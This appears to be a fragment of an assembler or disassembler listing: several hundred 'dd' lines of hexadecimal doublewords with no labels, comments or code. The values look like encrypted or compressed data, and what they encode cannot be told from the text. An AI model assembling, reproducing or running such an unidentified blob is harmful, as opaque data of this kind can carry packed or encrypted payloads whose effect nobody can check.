		dd 1659BD1Bh, 0FFFDCB01h, 18ADB9A4h, 0EF27BB77h, 94591E48h
		dd 813BD246h, 0C9D98860h, 0E690E5CAh, 64DB3AF5h, 0E6402F18h
		dd 0BF1C2364h, 0F0E70EC3h, 0E6495882h, 0FD317801h, 240FCE9h
		dd 8582FD66h, 5006EB4h,	0A4A6F06h, 2DD8011Dh, 75292707h
		dd 75A89A6Fh, 2617F598h
		dd 15005739h, 19E63797h, 0AF680452h, 0EF337823h, 0F8826744h
		dd 0EC4F9BF8h, 0C45EA208h, 5451309Bh, 0F422E90Bh, 82D197h
		dd 30CB1067h, 0EF179D05h, 0D913CF34h, 56B297F8h, 69E9B7A1h
		dd 61429DA1h, 53258BA4h, 0B0A9A282h, 680A0B40h,	1E512E0Dh
		dd 17F87788h, 9EC7FCADh, 4A9F15D5h, 0B9E9C26h, 6AD33F19h
		dd 7D200D00h, 0D10669A9h, 3D9CE9EAh, 30D97757h,	803EEC84h
		dd 0F09DF8CFh, 0AC4429B0h, 0CD8100E5h, 77AA6A87h, 0F6BE5600h
		dd 0C16C4439h, 0F1AFB8EEh, 3D27828Bh, 577C770h,	0CE01517Ch
		dd 122F5521h, 0B124C7E9h, 0B016BE5Eh, 0A703A44Ah, 0E7F2105Bh
		dd 7648464Dh, 0B22ACD16h, 41244E18h, 2488F5C9h,	800E2594h
		dd 0CBE33C6h, 86123381h, 0D3F6DE1Bh, 1DCEF808h,	0A232B0D0h
		dd 5800D6C3h, 0A1C493BAh, 0D2829905h, 0DD07E0A5h, 6A49286Fh
		dd 8BCAF1ECh, 5E0ED008h, 0E9AD9C02h, 4AD2D832h,	287D528h
		dd 0E3EB333Dh, 0F1D50C25h, 0AE4264C9h, 1C0378D3h, 5FFEB63Dh
		dd 0A4D197CEh, 58278A63h, 42A8F3D4h, 0A2FE20B7h, 9812BC8Bh
		dd 0EB151E7h, 0C5E18085h, 8431C164h, 0CF12AAC0h, 8BF316ECh
		dd 6538EB95h, 4E1C4099h, 2307AF92h, 0EE09648Eh,	30AC33E4h
		dd 51982D02h, 0E3416CB2h, 0C0074705h, 4A751382h, 19A85B4Bh
		dd 0CEFD82A5h, 1ED2C220h, 3B5F769Ah, 250E62F2h,	1C384A6Eh
		dd 36E6B5CFh, 0E6B1E912h, 6084FFADh, 0C429ED7Ch, 37D444F0h
		dd 18D08AFh, 0A40B1624h, 0FAA58B7Fh, 85580136h,	91E9964Dh
		dd 0E78D81E5h, 305B452Dh, 80DA7F30h, 7B71D9B8h,	0B4835850h
		dd 760B4D17h, 0C1407282h, 41AC532Ah, 0BEA21206h, 7A4D4204h
		dd 303AFF13h, 19E8AC14h, 0CB3C4402h, 0AE40464Ch, 0CD316DC7h
		dd 0D6C6415Bh, 29D87421h, 0BCB390F1h, 30F02D1h,	9507EFFh
		dd 0E3A2504Eh, 1272054Ah, 0E871AF2Ch, 0AF20F888h, 0F6214019h
		dd 4A29D058h, 65F767CCh, 0B05A0BD1h, 1792591Dh,	0EEC1599Fh
		dd 6DC3A5h, 0E64C7566h,	2EB80149h, 4E8A5A5Fh, 0E21BC84Fh
		dd 0F4E88D4Ah, 163768E0h, 0E362A494h, 555F0026h, 963EBB53h
		dd 0BD498C06h, 97310B94h, 0E9131DFAh, 0BADCEAF2h, 61E33168h
		dd 0AAA9F7B3h, 392DD57Bh, 75746A4h, 7018C7C2h, 0E0EDE576h
		dd 0D0955A99h, 0D20920A2h, 2F14369Fh, 968670E9h, 0D2BA4E58h
		dd 214F41B5h, 2C7FF665h, 6B401C99h, 0D1C21709h,	0B91363E2h
		dd 292703EEh, 19F0EC4Fh, 1DA6BDE9h, 900B6AF8h, 6A10DEB3h
		dd 3B802DAAh, 5622F705h, 0E801020Ah, 0E91C072Dh, 0B771802Dh
		dd 941F042Ch, 661E3A75h, 5F66715Bh, 5397047Eh, 5AA94687h
		dd 8660998h, 0B083613Eh, 7F01519h, 9A25E95Eh, 6EC47CBAh
		dd 522B007Fh, 0C8870F3Bh, 79F48997h, 0C9E54238h, 871BD07h
		dd 0BCE81E40h, 114C5E0h, 0C8DC0FEh, 0F488D26h, 8703037Ah
		dd 50D6F7F1h, 18BC5808h, 0C017233h, 734C773Fh, 9C6003Ch
		dd 29322C61h, 80CC90CEh, 785F5908h, 0AA34B583h,	477E5EA4h
		dd 0D57763B2h, 1045C52Dh, 0B95D517Bh, 2B133F31h, 656571D7h
		dd 933D2E50h, 0AD58613Ah, 6F8104BBh, 732FB870h,	0EFEC5CDEh
		dd 0E90A918Eh, 463CCC61h, 59976A50h, 29D42763h,	333786CFh
		dd 0CC60C83h, 0F7A28082h, 29D85E4Bh, 2B436968h,	0DEC92777h
		dd 0F91FE1A2h, 0B33B8869h, 6961F43Ah, 438A680Ah, 0A68DD988h
		dd 0C96E4525h, 25ABB02h, 2084657Dh, 123BF56Ah, 1974EFECh
		dd 0BFCB9216h, 0AA515F14h, 2D936A30h, 9C487B72h, 0AF7E1069h
		dd 0C0A4B35Eh, 0A7E9555Ch, 6828BC3Ch, 0C4BDAEC4h, 0EBE6948Dh
		dd 9EBB898h, 6E037CCh, 8FFA8F5h, 0D038E90Bh, 4B898510h
		dd 0DE2717F6h, 10C1AF66h, 0D5E52B01h, 51A13C28h, 0E6A23F54h
		dd 0D105E9C4h, 9EEF2946h, 4B92FB44h, 0F087C949h, 0B81F3A87h
		dd 0DD296E8Bh, 0B2098004h, 0E55B73FFh, 0B5F554D8h, 3AF36FC8h
		dd 25334D97h, 0F9AF5673h, 0FE914B3Ah, 4E7D32EAh, 50F01E0h
		dd 0D30932BEh, 0F0A91F5Ah, 687CE923h, 3CBE0AD2h, 12BAC307h
		dd 0FDEED124h, 0A9EA3D0Fh, 1982D586h, 5E05400Fh, 5D08B001h
		dd 68302F5Fh, 0E2440FE7h, 1AC9E961h, 0E9D06FF4h, 0A66D4BD5h
		dd 35BB13B7h, 0F75B8CE3h, 3F0CC825h, 57D5B4D5h,	807C003Ah
		dd 850F22E7h, 0ECA88173h, 0F6C847B5h, 88500196h, 30EB80D3h
		dd 0D4FACB90h, 1AAC054Bh, 1655588Bh, 4810B5C4h,	581FDF2h
		dd 5D644F2Fh, 0F3F5A265h, 50BC768Dh, 0C467C589h, 0CFFE3D5Bh
		dd 0E8BD1713h, 90D68BB1h, 127FC3B7h, 4A52DC09h,	3008EB7Ch
		dd 43074E0Ch, 62F1424Fh, 87BEB26Ah, 70232BFh, 94074084h
		dd 2D4B047Ch, 8153FA01h, 7222E8C8h, 7DA45EFEh, 76F5ED29h
		dd 9BB2364h, 28195356h,	73226A00h, 5A9D0B5Eh, 0D7D2F56h
		dd 74A5C2F1h, 0E18F97E0h, 0B546EC2Fh, 0C5280D1Eh, 16AD25CCh
		dd 0EC8F260Fh, 14D9ADB4h, 65C01B08h, 7A28BE5Ah,	0ACEC403Ch
		dd 0F09FA2F4h, 0E8175A10h, 80A3406Bh, 882EC705h, 60E85BFAh
		dd 8BB6D420h, 0D710602Ch, 0A130DC48h, 0C3285B81h, 774822FCh
		dd 0D8B58195h, 7520DBD7h, 9B4205BCh, 93AFE926h,	52F0B8F3h
		dd 50072C8h, 613A767Bh,	17E32D40h, 0C1669B71h, 52A51A13h
		dd 8B40E2E8h, 8EA3BD1h,	0F809AF90h, 852D0752h, 9DBA3A24h
		dd 0A955423Dh, 3D84E927h, 3A2E9DABh, 72A45D34h,	337E6251h
		dd 1DC97611h, 0CD27F6E2h, 0E24EFC09h, 0F6006794h, 48B724D0h
		dd 0D15B370Fh, 7CE60220h, 0ADB180A2h, 9EF8155h,	62B9F0CDh
		dd 0A040AD7Ch, 983B6C9Eh, 252B0B94h, 946A3E43h,	825B0804h
		dd 0C5C7B30Ah, 3AB65204h, 91F0C283h, 6D2858C3h,	2893B1A0h
		dd 0F1E9D912h, 0FD2485h, 0B7F78B8Eh, 66640BB3h,	1AD08489h
		dd 0E64E41EEh, 92DEF707h, 0DB42EBECh, 6EB4E0E9h, 398E2015h
		dd 44C503B8h, 0D9C8AD75h, 0ABD51DA8h, 0D4CD8183h, 20782F01h
		dd 8182A729h, 394968D4h, 46C5D87Bh, 28BB84Ch, 0DC1114EFh
		dd 0AFC141F9h, 844E377Ah, 0F0FFCF8h, 0E9F97EBAh, 0F2927DD6h
		dd 0E5558D42h, 9569637h, 4ADE09CAh, 88E5E647h, 4005C7BBh
		dd 13E9525Bh, 0ADF5984Bh, 65000C3Ah, 7204EBD3h,	68349221h
		dd 909AFABCh, 0EF880054h, 6E7225EEh, 0F58A5777h, 25EFB118h
		dd 9A1C4E38h, 0BA2CF01h, 0A583D908h, 5C009FC5h,	68C8BF0Fh
		dd 0E7274DA8h, 8C653084h, 0A6056843h, 5D663F71h, 0F09ECBCh
		dd 60CBD88Ah, 3B1F2EC8h, 1EE94D0Bh, 19ADB00Dh, 205981CEh
		dd 0AB5EB239h, 1B2804C1h, 680B6136h, 0D53A31CDh, 0A52DB265h
		dd 0BFEC5CCEh, 929624Ah, 68546469h, 0C668B07Dh,	224B36Ah
		dd 1DE1626h, 0F681AEA0h, 0C490F0B5h, 67702D01h,	0CFE90AC7h
		dd 0D400D722h, 0C012CC80h, 0C4EC04E4h, 0B151D10Fh, 42F187F0h
		dd 0F906E1C3h, 34C803E9h, 2073926Ah, 59B573E8h,	0F30A6F61h
		dd 1E90907h, 422D1520h,	3609DA38h, 7CC28952h, 0CDA03B4Ah
		dd 2775D09Fh, 42C82F45h, 0C57CABF9h, 0E9C59CB9h, 0A94A1CA8h
		dd 5A68C08Ch, 44E223h, 29283558h, 4FE962E1h, 489D4DB2h
		dd 0BCC93E9Bh, 27AD48D3h, 8B8B9119h, 0D6828511h, 0DAEF62A9h
		dd 60BBBD00h, 0E168F7B6h, 0DFAED0Eh, 0F5C06A8Eh, 76C4F278h
		dd 0D4BF89B7h, 0DDC30844h, 32D1612Dh, 0F1EBD958h, 2820ED71h
		dd 0F5009D06h, 11EC4B1Dh, 9531A193h, 8700E159h,	0BA0152FDh
		dd 0C0FA05B1h, 646ED531h, 4FBDD193h, 0B33913EFh, 7DA47CDCh
		dd 5C4B2792h, 0E3D4BB68h, 315E6880h, 0B86A633Fh, 5A59018Bh
		dd 2F58CD26h, 0D09F8120h
		dd 6C139F2h, 6E2897D0h,	7BB010F9h, 7D40FCB0h, 30DB7FBDh
		dd 2CB458CEh, 5001B462h, 499AE281h, 30201151h, 0ECC8B297h
		dd 1AFA9596h, 0FAECE03h, 186AA87h, 88C0EE13h, 3814E9F1h
		dd 46B412C7h, 2D22D873h, 0E44201A3h, 0CCBFBC64h, 94EE3C22h
		dd 2402821Bh, 0E1BF35B9h, 1C41DB01h, 141CA008h,	0F0F7C09Dh
		dd 5264B57Ah, 4EFB10Eh,	28CE4062h, 48BEE9C8h, 408F2FAAh
		dd 0DBFAF40Fh, 402554D9h, 0EE5F5941h, 0C883B787h, 3022478Fh
		dd 52E39EDCh, 75B2895Fh, 0E95196B0h, 93B66C32h,	0B3B180E7h
		dd 2E284B33h, 342D2F7h,	77030FFBh, 0DC43F2B0h, 14EB713h
		dd 0AF895904h, 2F9429ABh, 0C0FA5F49h, 2112D33h,	297DB645h
		dd 78105D0h, 50F1D7E9h,	0C4FEECC2h, 0BBF4801Ch,	2858E503h
		dd 0C1EDC2DDh, 0D7CADE29h, 0C0525E25h, 9E23AF62h, 0D5C080B7h
		dd 0C32424Dh, 66B2890Fh, 1E0BE593h, 2E8633h, 507A88Eh
		dd 21582F40h, 0ECED1CC0h, 0EEFD9F16h, 25E980A4h, 0F892BD7Eh
		dd 61DDD41h, 0B266275Ah, 0A4D89A54h, 5B219D82h,	3063B551h
		dd 5C81D250h, 9F9B4A6h,	1A541908h, 54BCCAB9h, 59796DC1h
		dd 30BE356Ah, 0D41D0FDh, 18A9C420h, 1F5E1109h, 83305346h
		dd 340CE9EDh, 58026384h, 0BCA2E945h, 0B3D2B46Bh, 2D5B6800h
		dd 5A350092h, 0CA81424Ah, 5D482797h, 0DE85169Eh, 0E94FBFA7h
		dd 93E195B6h, 1C2814BFh, 0C9BAB012h, 0AB1C3A2Bh, 0FBBC7F97h
		dd 6BC8BBE0h, 0E90E520Fh, 893955EDh, 82FAC659h,	25397EF8h
		dd 0CBAD50D1h, 71ADFB16h, 0F2594BFEh, 96A993E5h, 0BF01FEA5h
		dd 0B6C50D4h, 1475D06Dh, 0B479ED0Dh, 0E9361B0Ah, 0A2063B91h
		dd 0C102A27h, 43AD8A09h, 8F8A853Ch, 7A585E62h, 0E422C64h
		dd 0E03C4742h, 3BBD53DFh, 777E6502h, 0DC5FFD31h, 49A120A8h
		dd 582791BEh, 90770CABh, 0D360F8A1h, 9329F2E3h,	811C65ABh
		dd 4A973ECCh, 0D82D7BBCh, 64B27616h, 82489495h,	0F0F4438Ah
		dd 69BD732Dh, 7A2709D5h, 0D3BC20F9h, 1EF166A0h,	0C240CC25h
		dd 1AC38616h, 1390D310h, 62CEA5Dh, 0C82B5E9Bh, 0C340EB8Eh
		dd 0E3785E68h, 505200A2h, 88F8B753h, 2030B0FCh,	0D882EFBAh
		dd 5FD5AA8Ch, 400F519Dh, 0E6F0CEF3h, 0E029832Dh, 9852FE28h
		dd 75D72721h, 0C3428959h, 1FA761F7h, 0DA269C3Ch, 1531ADADh
		dd 1E4F2966h, 0C88034E7h, 0B6880F30h, 4AE595DFh, 1C2FFC1Fh
		dd 9737FC8Ah, 11B6A9C6h, 7BF06884h, 682C6CEEh, 5AD6A1B7h
		dd 0CDA011E9h, 79BB08C4h, 61056B5h, 0C522DB05h,	0EE40AE34h
		dd 32727084h, 0EA89ED1h, 0B0D77DF8h, 8AA4F6D3h,	0F9C78E0Fh
		dd 5FA6698Dh, 55C2881Bh, 0F3A4B9FEh, 0D17A4E83h, 5FA7E907h
		dd 0A62C0F74h, 39E10AA9h, 2CD7AF4h, 19387EE3h, 848287Fh
		dd 1D621627h, 0A51E5FDBh, 30E95E60h, 5B202062h,	6641F589h
		dd 0D4A66A36h, 5CDC0125h, 0CCAF82C9h, 0CB2801A0h, 0B41D6E66h
		dd 81A9B522h, 592704F6h, 844E6201h, 5A0B39DFh, 9411042Ah
		dd 595F0B72h, 8B4BC8F1h, 3FC559CEh, 0CA101D24h,	3DFD6809h
		dd 8D6284FEh, 625807AEh, 925FD2F9h, 3CF61D6h, 0FEEAE50h
		dd 718E280Ah, 14191DD9h, 1608AEF2h, 0C5B61A3h, 0FC4B3EE2h
		dd 0F95E0902h, 0D073DF5h, 0BDE4CF82h, 0C8A520A8h, 74304E81h
		dd 702113C3h, 0E4A7E160h, 8D1FF8EAh, 2D6A2Eh, 5089CBD6h
		dd 0C1541268h, 0C33A00EBh, 48E8AEC6h, 2AE2959h,	0FD2B33EEh
		dd 7693802Ch, 15220B2Dh, 818E3DE9h, 0B3015616h,	6119012Bh
		dd 2EE96552h, 0CF80F450h, 3BA99E4Bh, 0B7DF7073h, 9E0453A9h
		dd 3BA5AD14h, 4B2AFE6h,	37C85A48h, 838059A5h, 0BAD67D2Dh
		dd 81C2B753h, 559BD501h, 4D6E26C9h, 0DADE6BA5h,	0E806E909h
		dd 890443FAh, 5C12CD7h,	516DD7EBh, 705D17BEh, 269C15D2h
		dd 3108EE2Dh, 66A5AF62h, 86327DD0h, 70274EA7h, 6C55BCB0h
		dd 334BF4BCh, 0B0C84A31h, 0F15BE90Ch, 9BB8CE4h,	55B465D3h
		dd 0FD249889h, 0BDCFBFB3h, 0A5265924h, 4CCEBDFCh, 0E5599F96h
		dd 53D96825h, 0D202BBE0h, 0EA1DBE9Ah, 0A619D68Fh, 0C80E5C01h
		dd 2694418h, 2A24DE7h, 8B5D8868h, 0E984F656h, 0D75109F7h
		dd 0BFA8151Eh, 69FF03E9h, 6AFE0947h, 272EF49Dh,	8AB15263h
		dd 887A8D7Ch, 0DEF80864h, 42D9226h, 68667EE7h, 211AC184h
		dd 16033629h, 9327D546h, 0B12EF44h, 0BCD203ECh,	8B00CEE2h
		dd 5DDD88F1h, 0E10102C7h, 608E393Eh, 2712E039h,	15007E0Ch
		dd 3BCF57CAh, 0A086120Fh, 0C560F8DCh, 9BBB36C2h, 9D2016C4h
		dd 74733CABh, 0C4C32DE5h, 9A11BC2Bh, 0E2A6532Eh, 0C9CA5EE9h
		dd 0E8E89D05h, 0AD5ABDh, 0ABA6C68Fh, 0A42D5B6Ch, 86251836h
		dd 3F120529h, 8007E7C1h, 7245DC90h, 0F7044976h,	5C852292h
		dd 372CD1FAh, 0C3530270h, 2C07F4E3h, 0D347D298h, 0FE7F580Bh
		dd 21BCBEC6h, 0EEDA9359h, 0A5507F21h, 7909926Dh, 845F22E3h
		dd 1CBB5A5Ah, 3735194Eh, 6B3A21FAh, 0C3C3784Fh,	9F8CE256h
		dd 0A9F827C4h, 7080BD3Ah, 0E809615Eh, 0C909355Dh, 0D7B4449Ch
		dd 51779926h, 83E85750h, 6BE54E1Fh, 798CA539h, 0F541680h
		dd 0BB32A1D0h, 87C26A37h, 0A0BFE161h, 556CCC6Eh, 0FB091CB0h
		dd 5C7D0878h, 2C602F6Eh, 0E74F8B0Fh, 9B177D12h,	60EBB416h
		dd 595ACF19h, 51C80100h, 372D6768h, 0B2E5A30Fh,	0FD26751Ah
		dd 0E30A9FC3h, 0DF4A1068h, 0F60EE8C0h, 0EAE92F46h, 23F53909h
		dd 10C7C9B8h, 5BFB267Dh, 0EC30B71h, 86298005h, 0F42ED746h
		dd 430EFD89h, 0BF78987h, 2DF778E2h, 75DC6F29h, 0A0B01CAh
		dd 0EF45F67Dh, 0A4F53365h, 7E0260E7h, 41491D52h, 20DF6155h
		dd 8D6197F1h, 0D5D81352h, 6AB79B1Ch, 5720BA57h,	2EC2B36Ah
		dd 0CE566ACAh, 27B05060h, 2FB490FEh, 0D5D1F4B8h, 4B18B40Fh
		dd 0C097A385h, 820BDDEEh, 0DDDCC28Bh, 0BC5C75A4h, 0C7B3024Ah
		dd 0E228E6B5h, 126C63Eh, 1EB15102h, 0C02FC180h,	0F72AE9CBh
		dd 9B25B5E3h, 9D9D94C9h, 3B9182E9h, 73413644h, 581CA45h
		dd 0FE24B6D7h, 0C2EBE224h, 0F26852AAh, 0CE2E8B59h, 0EB93C15Eh
		dd 9F8910ECh, 53C6DEC8h, 644E1B13h, 6D0D8705h, 4BA8F8D4h
		dd 0CE292D48h, 6F893FD5h, 72761CEAh, 7B762104h,	0BFD7F683h
		dd 0C9AF73F5h, 8724204Dh, 32BB0C00h, 0F215592Dh, 0D0F73B17h
		dd 0AB583E81h, 6C89E936h, 5BB0171h, 295D5259h, 5B08D441h
		dd 84487CD6h, 90237BE9h, 3E8BE538h, 955C543Dh, 25942511h
		dd 0C92C56F2h, 0B12E28F6h, 0A4208BA6h, 0AE803C27h, 0E979EA24h
		dd 8395F4A7h, 2BEF5894h, 6812D9Ah, 2B2212E9h, 8B01A8CCh
		dd 0C710C2C2h, 98D99D18h, 570B0D42h, 5E2F33C7h,	365DD1B3h
		dd 11BB50C0h, 68B54404h, 89A049E9h, 45BD1D66h, 0E5D10F26h
		dd 0BDDA7E84h, 0EB032CCFh, 72099F28h, 8759CC29h, 0D1B44188h
		dd 898144AFh, 0E07F8DD4h, 42925E0Ch, 9459BE27h,	69699905h
		dd 0F47263D4h, 0BA1A6908h, 0ED322A82h, 0B14FCE77h, 0AA11B4E7h
		dd 0EF3EE28Bh, 93BCF25Fh, 35B364D1h, 12EBDB20h,	486C0FEh
		dd 0C976C9DDh, 2002FC2Bh, 0DFF72501h, 0CF8A8D0Fh, 2776CE6Bh
		dd 694AF989h, 98E31EA7h, 84975E1Dh, 0FE871547h,	0CA1C40D2h
		dd 0F9B4439Fh, 6182D544h, 2E09B2CEh, 0C5239F40h, 0B9FF2181h
		dd 138152Ch, 0AE8C182h,	12CF605Fh, 0A4E98056h, 9EE9335Bh
		dd 968AE9B0h, 5E8FBA9Dh, 0F8396A72h, 6C4AACE9h,	6A953737h
		dd 0F56248BCh, 8902AD3Bh, 0E34AC0CBh, 582C9007h, 8204A143h
		dd 0AE719BFDh, 0EE80D85h
		dd 95ABB1h, 3D7240BDh, 0B6171A50h, 0E86E4707h, 731A8E06h
		dd 0AB8B8156h, 0F640947Dh, 0B59BC2Eh, 9183E4C0h, 0BB3AB478h
		dd 0E1E0F350h, 0D89AD6F6h, 0EB4AD1B5h, 7DD0B2D7h, 5680EEE5h
		dd 7819AB68h, 855E5B54h, 9F1FBBACh, 4653B809h, 4C8C0454h
		dd 1329282Dh, 551E8100h, 5E0F500Dh, 9C5CF589h, 16422818h
		dd 681EE976h, 0C1C68Bh,	804EB1D0h, 0CB28AEF1h, 0C12539Ch
		dd 654E5DBEh, 0E012E358h, 1DC0F5E9h, 4184820Fh,	891CEC03h
		dd 88F7D0A8h, 4BB3EF00h, 7D4EA81h, 657AE1D6h, 0A6C104BAh
		dd 0DA210CE5h, 0F84E681h, 1702522h, 88C1BDF3h, 0F2A44F0Ch
		dd 5C0ED1D1h, 65307EF0h, 90B64723h, 6C3E5D8Bh, 3D2512Ch
		dd 2810337Eh, 3987A3E1h, 0D525266Bh, 0E3A58A5h,	0F9885BF7h
		dd 11F73069h, 8D786655h, 87D9755Eh, 0F5E7F5BAh,	0A0F9027Dh
		dd 0F4BBAE68h, 564D7412h, 20AE9707h, 0D8894B71h, 1E2BCA2Eh
		dd 654BE62Dh, 6D0C8039h, 9DC1C877h, 4C203478h, 3D5097CBh
		dd 0B7E68104h, 0BCC18F04h, 0E94806BDh, 5027ECDBh, 2E89B70Ah
		dd 8288A3Fh, 0F7015DFCh, 7A860FD8h, 0E23E6E25h,	53E90AD5h
		dd 0CE8CA5C0h, 488C0BD2h, 0AAA47ACDh, 5B520E5Ch, 0E9515130h
		dd 0D7BD5E76h, 8026F028h, 9258427Eh, 3FEB73AAh,	0EAC07E1Ch
		dd 33C28105h, 61CC24E8h, 0AC31977Fh, 0F752B2B6h, 985D1542h
		dd 90EA29B8h, 0CC2C4E32h, 0F14FF659h, 68CCA501h, 0CC6F554Bh
		dd 33905ED4h, 0BF8084F4h, 13270C4Ch, 0E4BA477Dh, 1420E65Fh
		dd 3B11663h, 5257594Ch,	0B9B02168h, 0E92D5A17h,	0EBB96B96h
		dd 0F735026Dh, 5BBE7399h, 0FEE9E563h, 3E32EEFh,	140DF8D3h
		dd 8095D6ADh, 4F8F6799h, 2D7EF589h, 98EED878h, 1FB25D2h
		dd 646A69C2h, 0A40726Fh, 0B05585Dh, 0E0D35E01h,	51FAB068h
		dd 4327ADA7h, 0B5BC6E9h, 7478472Fh, 560DC24Ch, 5D047D09h
		dd 0D5CB57h, 4120C6BDh,	0A15F5578h, 6907D7AAh, 0AADF8A09h
		dd 170A1154h, 79BC1C4Fh, 38F32817h, 0CE2749D1h,	1CA9BD00h
		dd 0BB1A6601h, 80F9793Ch, 2E8E9530h, 25B4C213h,	8825BD0h
		dd 9B14E7Dh, 61EE235Ch,	195A5301h, 3BE3DAF1h, 12FFE28Dh
		dd 0F27F9F6h, 3F556841h, 1316E77Bh, 224904E9h, 683B005Ch
		dd 9D2AEF30h, 12027D63h, 19742664h, 4DFC0B09h, 2891A82h
		dd 8DA955A0h, 7E2EB957h, 0CBA20AEEh, 1A470957h,	0DA1E5F22h
		dd 438669Dh, 0B44BA468h, 0D081BE57h, 132CFAB2h,	0DB6C49D6h
		dd 815EF0A4h, 4685C6Dh,	2DD082ABh, 0E9BF0344h, 0A26E5835h
		dd 0BF0526F4h, 0F02BBF09h, 0BEFB08Fh, 49943014h, 45F772F8h
		dd 0CF88BB08h, 26E65C05h, 12460D2Eh, 3C2AE38Ah,	0B329C0BAh
		dd 48E52570h, 0C140D3ADh, 6A7911E9h, 4310528Ch,	4D95FA5h
		dd 0C3957D79h, 0D8316813h, 1316D00Eh, 0EE0954BCh, 27575C87h
		dd 966A16E5h, 0DDEB8B44h, 55E0CCE6h, 72F8E92Dh,	0C5D232FAh
		dd 0A761F759h, 935F2868h, 0A5DDD2B2h, 0E9590E5Ch, 223A5EC9h
		dd 48FFBFE5h, 933929B2h, 3DFB2739h, 0BE5EF22Fh,	850F58D0h
		dd 586DC869h, 0AAE916CEh, 52E48C2Eh, 454EFCB0h,	0E9F89480h
		dd 0FB13BA93h, 0B0A6112Dh, 3194C220h, 6D6AC4FEh, 109376FBh
		dd 5FA2A8F9h, 0CB20EAC4h, 0D1F73B53h, 0A9D0A996h, 7527111Ch
		dd 8200B05Ch, 0F6E1E380h, 525E66D3h, 380B115h, 21DD6853h
		dd 43B2973Ch, 9312550Fh, 15626259h, 81770970h, 451ED6CCh
		dd 206FA12Bh, 8F2CF33h,	0F269802h, 0FCE40587h, 50AB51FBh
		dd 5BF588B8h, 0C968F1B7h, 19AC8754h, 0D425D309h, 2E89496Bh
		dd 42C85928h, 54391A19h, 0A8D8512Ch, 1A2C1318h,	0E93E0C08h
		dd 98B5F80Dh, 2EB8B1B1h, 0F7FB979Bh, 14D311DFh,	3BBB102Ah
		dd 34904B5Bh, 0F4D05A3h, 18D3468Ch, 60E2545h, 2CF18843h
		dd 50705CE7h, 0CFC8839h, 754EE9E5h, 6A0B0FBEh, 174B2C30h
		dd 54A5D78h, 82D08638h,	5EC3AD5h, 4DD2AD99h, 0A81C4053h
		dd 0DFE35C88h, 0ABAF2F34h, 0B066BB8Ch, 7DA1090Eh, 3FD868E9h
		dd 40E25C4Eh, 92D5EB8Ah, 223DAB5Dh, 5ECC1F42h, 1DB5428Ah
		dd 441E22C0h, 41A10982h, 5AF1F51Fh, 0C527E8C1h,	68C0D33Eh
		dd 6673F727h, 0BA5049DBh, 44FE1Eh, 0EE865901h, 54BE6C0h
		dd 52172CE8h, 6A16207Eh, 4404656Eh, 4F5AD709h, 0D2A7C0BFh
		dd 12786A5h, 5E1500FEh,	284B162Dh, 0A7761Ah, 59F7B951h
		dd 0E1811518h, 6F536A1Fh, 0B32DD8A6h, 0C2A8C9DDh, 685A6E82h
		dd 56A26071h, 0EBF686B5h, 0FB75D459h, 8FFA07Ah,	7B976CFEh
		dd 0FD8084Fh, 0E004424h, 89A3B8F4h, 9AECB5F0h, 603E830h
		dd 27503506h, 0BB740136h, 0F6E78B1Fh, 23E9F847h, 0D1E4FC4Ah
		dd 0C18B9581h, 37006D7Bh, 49276321h, 0ADF13C81h, 600E3C13h
		dd 7DCDB8E0h, 0E248DB30h, 616F02CEh, 2BDC0C67h,	60F12AC0h
		dd 840E9F9h, 1F14BB53h,	7222D7Fh, 0B57DDAF3h, 46C2EA45h
		dd 503058CAh, 0B47D731h, 0B4BB8F0Fh, 89A5087Ch,	45B37D42h
		dd 7B48DE92h, 2098864h,	275144E9h, 78828497h, 7008557Ch
		dd 0C0E90907h, 2EE5DA8h, 5F654888h, 0EAC60CD5h,	5A4F0316h
		dd 59C80177h, 7FE883A9h, 5AE926B4h, 0ACFDC5F2h,	7F5FB110h
		dd 7739E569h, 0CD8FEA9Eh, 6AB9B2D7h, 50F3D244h,	0BB055A00h
		dd 1D0A836Eh, 72DC829h,	0EF0B572Ch, 79AFC87Dh, 12FE822Ch
		dd 0D0460BBCh, 0E0FA007Ah, 0C40F2D51h, 1627AF28h, 0C8BED100h
		dd 0BF1FC668h, 3053D231h, 8C59820Dh, 31788191h,	0D0703EE2h
		dd 93061DB3h, 0C7EF8135h, 310B7137h, 0AC140Ah, 992A9AE8h
		dd 0F951010Fh, 0E90804F8h, 0D6932A15h, 7617F880h, 0A7B0AC4Fh
		dd 267CB68Dh, 1EB80BFBh, 68C23C79h, 9A752956h, 0D9C55DC3h
		dd 0B0FAA73Ch, 97E0FE7Bh, 5C93736Dh, 0DD8148FDh, 2860AA68h
		dd 394B9BBBh, 205E4DACh, 0CA8681Ah, 0BAF1925Bh,	983DB33Ah
		dd 0FB85040h, 0A66DF358h, 4217C52Ah, 8B5799E9h,	0CD5630A1h
		dd 0A4D39726h, 584D6841h, 9B807B57h, 0F60A2D20h, 44030D05h
		dd 0E16A6EB1h, 4A522855h, 1C9433F2h, 0B5C5D062h, 53F6A148h
		dd 0CAC38828h, 0F05B8B40h, 95A4FF7h, 39DCC756h,	28302C81h
		dd 71D204F8h, 682E4C38h, 34B9B272h, 882DB781h, 0EBC15BFDh
		dd 8FF44A4h, 0C6306EBEh, 13BCB753h, 0EEF1F780h,	0E8503E1Fh
		dd 0A9094D75h, 0FF7D6812h, 1A59C044h, 761E3614h, 0F3E4216h
		dd 73501983h, 12F4417Dh, 20490301h, 5A5328B1h, 0B8F8A7Ah
		dd 12BE7CE9h, 0F1AE60EAh, 169C8265h, 8C1D75B1h,	0E869DB4h
		dd 0CE4E9D0Ah, 0B86C8C20h, 0B3F1A1ACh, 82D1276Eh, 36D66DAAh
		dd 0BE065060h, 62CD9653h, 63E0E5C1h, 599DECAEh,	0AF87EA02h
		dd 52132745h, 0CA30E9B6h, 0CED5E925h, 800445B9h, 0B1F20A8h
		dd 3EF7E8C6h, 22D2B0D4h, 0D5818EF8h, 0EF56E4CBh, 828EDC82h
		dd 0B28A0FC7h, 0D62586FCh, 0A8B6C84Eh, 0AD2900F5h, 40AE3561h
		dd 956F74h, 0B5F581C4h,	0EC437A37h, 0AF5F0AEDh,	1F48572h
		dd 6ECD030Eh, 0CA516101h, 2DCB088Ah, 105CC07h, 31673714h
		dd 33621F1h, 5BC02908h,	1B4E1768h, 0BF9279FDh, 0FE42A45Eh
		dd 0F52AA3E9h, 0F126B26Eh, 0D218DB5Eh, 0BA2CD65h, 0C6897A53h
		dd 0EC095950h, 0DD60CBF0h, 0F78BFC0Fh, 0F88D36C5h, 0DC6F16FFh
		dd 3B786F3h, 0B95B59E6h, 0F7534DEDh, 0DB09C8F5h, 1A899511h
